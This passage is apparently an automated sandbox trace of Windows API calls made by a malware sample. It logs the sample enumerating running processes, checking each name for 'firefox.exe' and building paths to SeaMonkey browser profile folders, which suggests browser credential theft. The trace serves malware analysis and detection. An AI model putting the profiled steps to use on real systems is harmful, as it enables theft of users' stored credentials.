dwProcessId=0x8dc) returned 0x134 [0070.566] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe" [0070.566] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.566] CloseHandle (hObject=0x134) returned 1 [0070.566] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0070.567] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8ec) returned 0x134 [0070.567] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files\\Common Files\\literally.exe" | out: _Dest="C:\\Program Files\\Common Files\\literally.exe") returned="C:\\Program Files\\Common Files\\literally.exe" [0070.567] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.567] CloseHandle (hObject=0x134) returned 1 [0070.567] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="dimensionalsubscriptions.exe")) returned 1 [0070.567] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8fc) returned 0x134 [0070.567] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="C:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0070.567] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.567] CloseHandle (hObject=0x134) returned 1 [0070.567] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaglesfilterscrimes.exe")) returned 1 [0070.568] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x918) returned 0x134 [0070.568] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files\\Common Files\\eaglesfilterscrimes.exe" | out: _Dest="C:\\Program Files\\Common Files\\eaglesfilterscrimes.exe") returned="C:\\Program Files\\Common Files\\eaglesfilterscrimes.exe" [0070.568] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.568] CloseHandle (hObject=0x134) returned 1 [0070.568] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="multimedia-channel-letter-standards.exe")) returned 1 [0070.569] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x928) returned 0x134 [0070.569] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files\\Windows Photo Viewer\\multimedia-channel-letter-standards.exe" | out: _Dest="C:\\Program Files\\Windows Photo Viewer\\multimedia-channel-letter-standards.exe") returned="C:\\Program Files\\Windows Photo Viewer\\multimedia-channel-letter-standards.exe" [0070.569] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.587] CloseHandle (hObject=0x134) returned 1 [0070.587] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysts-dose.exe")) returned 1 [0070.587] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x938) returned 0x134 [0070.588] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files (x86)\\Java\\analysts-dose.exe" | out: _Dest="C:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="C:\\Program Files (x86)\\Java\\analysts-dose.exe" [0070.588] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.588] CloseHandle (hObject=0x134) returned 1 [0070.588] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacturer-asset.exe")) returned 1 [0070.588] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x948) returned 0x134 [0070.588] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files\\Uninstall Information\\manufacturer-asset.exe" | out: _Dest="C:\\Program Files\\Uninstall Information\\manufacturer-asset.exe") returned="C:\\Program Files\\Uninstall Information\\manufacturer-asset.exe" [0070.588] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.588] CloseHandle (hObject=0x134) returned 1 [0070.588] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0070.589] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d4) returned 0x134 [0070.589] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" [0070.589] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.589] CloseHandle (hObject=0x134) returned 1 [0070.589] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.590] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f0) returned 0x0 [0070.590] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0070.590] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa5c) returned 0x0 [0070.590] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xbfc, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0070.590] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x81c) returned 0x134 [0070.591] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" [0070.591] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.591] CloseHandle (hObject=0x134) returned 1 [0070.591] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0070.591] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x664) returned 0x0 [0070.591] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.592] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x714) returned 0x0 [0070.592] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x81c, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0070.592] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa98) returned 0x134 [0070.592] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" [0070.592] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.592] CloseHandle (hObject=0x134) returned 1 [0070.592] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x81c, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0070.593] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x66c) returned 0x134 [0070.593] wcscpy (in: _Dest=0x28b8d0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" [0070.593] GetProcessTimes (in: hProcess=0x134, lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8 | out: lpCreationTime=0x28bae0, lpExitTime=0x28bae8, lpKernelTime=0x28baf0, lpUserTime=0x28baf8) returned 1 [0070.593] CloseHandle (hObject=0x134) returned 1 [0070.593] Process32NextW (in: hSnapshot=0x110, lppe=0x28b6a0 | out: lppe=0x28b6a0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x81c, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 0 [0070.593] CloseHandle (hObject=0x110) returned 1 [0070.593] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.593] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.593] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.593] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.593] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="C:\\Windows\\System32\\taskhost.exe", _String2="firefox.exe") returned -3 [0070.594] _wcsicmp (_String1="taskhost.exe", _String2="firefox.exe") returned 14 [0070.594] _wcsicmp (_String1="C:\\Windows\\System32\\dwm.exe", _String2="firefox.exe") returned -3 [0070.594] _wcsicmp (_String1="dwm.exe", _String2="firefox.exe") returned -2 [0070.594] _wcsicmp (_String1="C:\\Windows\\explorer.exe", _String2="firefox.exe") returned -3 [0070.594] _wcsicmp (_String1="explorer.exe", _String2="firefox.exe") returned -1 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTEM.EXE", _String2="firefox.exe") returned -3 [0070.594] _wcsicmp (_String1="ONENOTEM.EXE", _String2="firefox.exe") returned 9 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.594] _wcsicmp (_String1="C:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe", _String2="firefox.exe") returned -3 [0070.594] _wcsicmp (_String1="turner_construction_solve_cialis.exe", _String2="firefox.exe") returned 14 [0070.594] _wcsicmp (_String1="C:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe", _String2="firefox.exe") returned -3 [0070.594] _wcsicmp (_String1="efforts-extreme-quantity-reproductive.exe", _String2="firefox.exe") returned -1 [0070.594] _wcsicmp (_String1="C:\\Program Files\\MSBuild\\los-talks-ooo-focusing.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="los-talks-ooo-focusing.exe", _String2="firefox.exe") returned 6 [0070.595] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="farehave.exe", _String2="firefox.exe") returned -8 [0070.595] _wcsicmp (_String1="C:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="ones_pork_tommy_lb.exe", _String2="firefox.exe") returned 9 [0070.595] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="thumbnailsopen.exe", _String2="firefox.exe") returned 14 [0070.595] _wcsicmp (_String1="C:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="characters appointed birthday finally.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="C:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="ausarrivedrepresentative.exe", _String2="firefox.exe") returned -5 [0070.595] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Media Player\\routing.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="routing.exe", _String2="firefox.exe") returned 12 [0070.595] _wcsicmp (_String1="C:\\Program Files\\DVD Maker\\cliff-filter.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="cliff-filter.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="C:\\Program Files\\Windows Defender\\canvas.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="canvas.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="C:\\Program Files\\Common Files\\cookie_cumulative_bennett_horse.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="cookie_cumulative_bennett_horse.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Sidebar\\pie.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="pie.exe", _String2="firefox.exe") returned 10 [0070.595] _wcsicmp (_String1="C:\\Program Files\\Microsoft Office\\located-purple-team.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="located-purple-team.exe", _String2="firefox.exe") returned 6 [0070.595] _wcsicmp (_String1="C:\\Program Files\\Microsoft Office\\pagespresent.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="pagespresent.exe", _String2="firefox.exe") returned 10 [0070.595] _wcsicmp (_String1="C:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="diamond_hospitals_designs_www.exe", _String2="firefox.exe") returned -2 [0070.595] _wcsicmp (_String1="C:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="later_pet_handjobs.exe", _String2="firefox.exe") returned 6 [0070.595] _wcsicmp (_String1="C:\\Program Files (x86)\\Internet Explorer\\instrumentationendorsementcivilizationcommentary.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="instrumentationendorsementcivilizationcommentary.exe", _String2="firefox.exe") returned 3 [0070.595] _wcsicmp (_String1="C:\\Program Files\\Common Files\\literally.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="literally.exe", _String2="firefox.exe") returned 6 [0070.595] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="dimensionalsubscriptions.exe", _String2="firefox.exe") returned -2 [0070.595] _wcsicmp (_String1="C:\\Program Files\\Common Files\\eaglesfilterscrimes.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="eaglesfilterscrimes.exe", _String2="firefox.exe") returned -1 [0070.595] _wcsicmp (_String1="C:\\Program Files\\Windows Photo Viewer\\multimedia-channel-letter-standards.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="multimedia-channel-letter-standards.exe", _String2="firefox.exe") returned 7 [0070.595] _wcsicmp (_String1="C:\\Program Files (x86)\\Java\\analysts-dose.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="analysts-dose.exe", _String2="firefox.exe") returned -5 [0070.595] _wcsicmp (_String1="C:\\Program Files\\Uninstall Information\\manufacturer-asset.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="manufacturer-asset.exe", _String2="firefox.exe") returned 7 [0070.595] _wcsicmp (_String1="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="WINWORD.EXE", _String2="firefox.exe") returned 17 [0070.595] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.595] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.595] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.595] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.595] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe", _String2="firefox.exe") returned -3 [0070.595] _wcsicmp (_String1="systeminfo.exe", _String2="firefox.exe") returned 13 [0070.595] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.595] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.595] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.595] _wcsicmp (_String1="", _String2="firefox.exe") returned -102 [0070.596] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe", _String2="firefox.exe") returned -3 [0070.596] _wcsicmp (_String1="systeminfo.exe", _String2="firefox.exe") returned 13 [0070.596] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe", _String2="firefox.exe") returned -3 [0070.596] _wcsicmp (_String1="systeminfo.exe", _String2="firefox.exe") returned 13 [0070.596] FreeLibrary (hLibModule=0x74eb0000) returned 1 [0070.596] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x28b8d8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 1 [0070.596] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x28b098, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 1 [0070.596] wcslen (_String="Mozilla\\SeaMonkey\\Profiles") returned 0x1a [0070.596] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.596] wcscpy (in: _Dest=0x28b6c8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming" [0070.596] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.596] wcscat (in: _Dest=0x28b6c8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\" [0070.596] wcscat (in: _Dest=0x28b6c8, _Source="Mozilla\\SeaMonkey\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles" [0070.596] wcslen (_String="Mozilla\\SeaMonkey\\Profiles") returned 0x1a [0070.596] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0070.596] wcscpy (in: _Dest=0x28b4b8, _Source="C:\\Users\\aETAdzjz\\AppData\\Local" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local" [0070.596] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0070.596] wcscat (in: _Dest=0x28b4b8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\" [0070.596] wcscat (in: _Dest=0x28b4b8, _Source="Mozilla\\SeaMonkey\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles" [0070.596] wcslen (_String="Mozilla\\SeaMonkey") returned 0x11 [0070.596] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.596] wcscpy (in: _Dest=0x28b2a8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming" [0070.596] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0070.596] wcscat (in: _Dest=0x28b2a8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\" [0070.596] wcscat (in: _Dest=0x28b2a8, _Source="Mozilla\\SeaMonkey" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey" [0070.596] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned 0x3c [0070.596] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned 0x3c [0070.596] wcslen (_String="*.*") returned 0x3 [0070.596] wcscpy (in: _Dest=0x28a47c, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles" [0070.596] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned 0x3c [0070.596] wcscat (in: _Dest=0x28a47c, _Source="\\" | out: 